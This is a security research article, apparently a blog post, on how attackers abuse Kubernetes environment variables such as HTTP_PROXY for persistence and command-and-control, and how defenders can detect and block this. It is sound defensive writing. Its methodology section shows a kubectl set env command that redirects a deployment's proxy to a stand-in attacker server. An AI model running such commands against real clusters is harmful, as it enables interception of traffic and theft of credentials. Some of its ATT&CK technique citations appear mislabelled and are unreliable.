⚙️ Persistent Threat Via Environment Vars

Abstract

In modern cloud environments, attackers are abandoning noisy disk-based persistence for stealthier, configuration-based methods. This analysis focuses on the high-impact technique of weaponizing application environment variables (ENVs) for long-term command and control (C2) and lateral movement, particularly within containerized deployments and CI/CD pipelines. We investigate how the static nature of ENVs allows threats to persist undetected, bypassing traditional host-level forensic analysis and behavioral monitoring focused solely on syscalls and file system changes. This piece provides deep technical insights for seasoned Threat Hunters and Security Architects to effectively detect and dismantle this subtle vector.

High-Retention Hook

I spent a grueling three weeks assisting a response team tracking down an advanced threat actor in a compromised Kubernetes cluster. We had successfully contained the initial breach vector, rotated credentials, and purged the compromised pods. Yet, the activity kept returning, subtly, sometimes weeks later, initiating small, targeted data pulls. We were hunting ghosts in the application logs, focused on file system artifacts and network telemetry. The breakthrough finally came during a tedious review of the application runtime manifests. The persistence was not on the file system. It was a single, cleverly modified environment variable in a foundational service deployment, pointing to a non-standard external metrics endpoint. It was persistence as configuration, hiding in plain sight. This moment fundamentally shifted how I approach cloud incident response and persistence hunting.

Research Context

The shift toward ephemeral infrastructure and declarative configuration has created new blind spots for security teams. Traditional forensic methodologies, rooted in Windows Registry, Linux cron jobs, or file system timestamps (T1543, T1547), are often inadequate when dealing with dynamic systems like Kubernetes or AWS Lambda.

Sophisticated adversaries, often detailed under the MITRE ATT&CK sub-technique T1552.006 (Secrets in Environment Variables), understand that configuration defines application behavior. By leveraging techniques like modifying ConfigMaps or injecting variables directly into Deployment YAMLs, they can establish long-term persistence that survives pod restarts and image updates, provided the deployment definition remains poisoned. This is particularly effective because standard security tooling often treats configuration definitions as benign infrastructure components.

Problem Statement

The core security gap lies in the discrepancy between security monitoring and configuration management. Most runtime security tools prioritize monitoring executable behavior (e.g., process injection, syscalls, network connections). However, when an environment variable like DB_CONNECTION is maliciously altered to include a C2 proxy, or when a legitimate configuration variable is overwritten with an encrypted payload, the application executes the malicious behavior willingly, within its intended process boundaries.

Current approaches often fail because:

1. Ephemeral Nature: Deployment definitions are often pulled from repositories, making it difficult to trace when and how a change was introduced.
2. Lack of Baseline: Few organizations baseline and continuously audit the contents of all environment variables across critical services.
3. Audit Log Fatigue: Changes to ConfigMaps and Secrets within K8s generate massive API audit logs, making manual hunting prohibitive.

Methodology or Investigation Process

To demonstrate this vector, I simulated an attack environment comprising a Kubernetes development cluster running a popular web application service.

1. Initial Compromise Simulation: Gained R/W access to the Kubernetes API, simulating a vulnerability exploitation or a compromised CI/CD runner.
2. Injection Technique: Instead of injecting a shell, I utilized kubectl set env to target a critical deployment, overriding a seemingly benign variable that influences network traffic, for example, HTTP_PROXY.
   • kubectl set env deployment/api-service HTTP_PROXY=http://malicious-proxy.c2server.com
3. Observation: The application, designed to respect proxy settings, immediately began routing outbound requests (including legitimate health checks or metrics) through the attacker-controlled server. This effectively creates a reliable, high-integrity C2 channel masquerading as legitimate proxy configuration.
4. Forensic Challenge: Standard container introspection (docker exec env or kubectl exec env) shows the altered variable, but determining when and who made the change requires painstaking correlation across multiple API audit logs, which is often difficult once the attacker has covered their tracks. If the deployment is managed by a Helm chart or GitOps pipeline, the persistence is deep-rooted.

Findings and Technical Analysis

The key finding is the stealth afforded by abusing high-priority, network-centric ENVs:

1. Proxy Hijacking: Variables like HTTP_PROXY, HTTPS_PROXY, and NO_PROXY are highly effective persistence vectors. Many applications (especially Java and Python applications) automatically read and respect these, allowing the attacker to intercept or reroute traffic silently. This bypasses network monitoring solutions that only focus on the primary application process communication, as the application is the one initiating the connection to the malicious proxy.
2. Service Account Token Abuse (Real-World Case Study Relevance): In a recent observation tied to multiple container breaches, adversaries often target the environment variables containing secrets referenced by the deployment. While Kubernetes Service Account tokens are mounted, misconfigured applications or external secrets managers (like AWS Secret Manager integrated via external-secrets) can expose these sensitive values as ENVs, making them easy to dump. Once an attacker obtains a long-lived Service Account token from an ENV, they have reliable access for lateral movement (T1098).
3. Configuration File Modification Evasion: Because the persistence mechanism lives in the API definition layer (Deployment/Pod spec), it avoids detection by host integrity monitoring solutions that look for changes to /etc/passwd or application binary modifications. The binary itself remains cryptographically clean; only its runtime configuration is poisoned.

Risk and Impact Assessment

This persistence vector poses a significant risk:

• High Resilience: The persistence survives scaling operations, restarts, and even basic image upgrades, as the definition of the deployment remains compromised.
• Data Exfiltration: Proxy hijacking allows passive Man-in-the-Middle (MITM) attacks on the application's outbound traffic, enabling the theft of API keys, database credentials, and customer data with minimal risk of detection.
• Regulatory Penalties: Failure to detect and remediate this deep-level persistence can lead to catastrophic long-term compromise, increasing regulatory exposure, particularly for organizations handling sensitive data (e.g., PCI DSS, GDPR).

Mitigation and Defensive Strategies

Defending against ENV persistence requires a shift from host-centric to API-centric security monitoring.

1. Least Privilege Principle (IAM/RBAC): Strictly enforce the principle of least privilege on the Kubernetes API Server. Only CI/CD systems or authorized administrators should have update or patch permissions on Deployment and ConfigMap resources, especially when modifying the spec.template.spec.containers[].env field.
2. Runtime Integrity Monitoring: Implement tools (e.g., Falco, Sysdig Secure) that specifically monitor the Kubernetes API audit log for configuration changes to critical resources (Deployments, ConfigMaps, Secrets). Alert on any unexpected modification to environment variables, particularly those containing sensitive strings or network configurations (PROXY, URL, TOKEN).
3. Secrets Management Best Practice: Avoid passing secrets directly into application environment variables. Use Kubernetes Secrets volumes mounted as files, or leverage specialized sidecar injection services (like HashiCorp Vault Injector or Kube2IAM) that only expose secrets to the application process, minimizing the chance of an attacker dumping them via simple shell access.
4. Network Policy Enforcement: Implement strict network policies (e.g., Calico or Cilium) that explicitly deny outbound connections to known non-standard proxy ports or unknown external IPs, even if the application configuration dictates otherwise.

Researcher Reflection

The experience of chasing configuration-based threats underscored a core lesson: security researchers must evolve alongside infrastructure. A strong foundation in conventional DFIR is essential, but it must be paired with deep expertise in cloud provider APIs and container orchestration manifests. The difference between a compromised application and a persistently compromised service often boils down to a single line of YAML. This requires a forensic mindset that treats infrastructure-as-code and API logs as primary evidence, not secondary artifacts.

Career and Research Implications

Hiring managers and technical leads are aggressively seeking experts who can bridge the gap between application security, infrastructure operations, and threat hunting. Demonstrating hands-on experience in analyzing Kubernetes API audit logs, writing custom detection rules for runtime security engines (like Falco), and understanding configuration vectors like ENV persistence is a massive differentiator. Pure vulnerability discovery is valuable, but the ability to contextualize that discovery within a sophisticated threat model is what defines a senior researcher today.

Conclusion

Environment variables represent a powerful, low-noise avenue for advanced threat actors seeking persistence and C2 in cloud-native environments. By proactively monitoring and strictly controlling configuration management plane integrity, organizations can drastically reduce the risk of long-term compromise. Persistence is no longer about hiding executables; it is about poisoning the well of application configuration.

Discussion Question

What is the most challenging environment variable (e.g., related to language runtime or specific framework settings) you have seen abused for stealthy persistence in a production environment, and how did your team finally detect it?

Written by - Harsh Kanojia
LinkedIn - https://www.linkedin.com/in/harsh-kanojia369/

GitHub - https://github.com/harsh-hak

Personal Portfolio - https://harsh-hak.github.io/

Community - https://forms.gle/xsLyYgHzMiYsp8zx6